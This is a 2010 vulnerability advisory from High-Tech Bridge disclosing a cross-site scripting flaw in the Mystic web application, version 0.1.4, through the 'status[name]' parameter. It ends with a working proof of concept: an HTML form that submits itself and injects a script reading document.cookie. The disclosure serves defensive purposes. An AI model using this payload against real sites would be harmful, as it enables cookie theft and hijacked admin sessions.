XSS vulnerability in Mystic

[advisory@xxxxxxxxxxx]

Vulnerability ID: HTB22535
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_mystic_1.html
Product: Mystic
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/mystic ) 
Vulnerable Version: 0.1.4 and Probably Prior Versions
Vendor Notification: 27 July 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "admin/create_new_status" script 
to properly sanitize user-supplied input in "status[name]" variable. Successful 
exploitation of this vulnerability could result in a compromise of the 
application, theft of cookie-based authentication credentials, disclosure or 
modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form action="http://host/admin/create_new_status"; method="post"  name="main" >
<input type="hidden" name="status[id]" value="999" >
<input type="hidden" name="status[name]" value='status 
name"><script>alert(document.cookie)</script>' >
<input type="hidden" name="commit" value="Create New Status!" >
</form>
<script>
document.main.submit();
</script>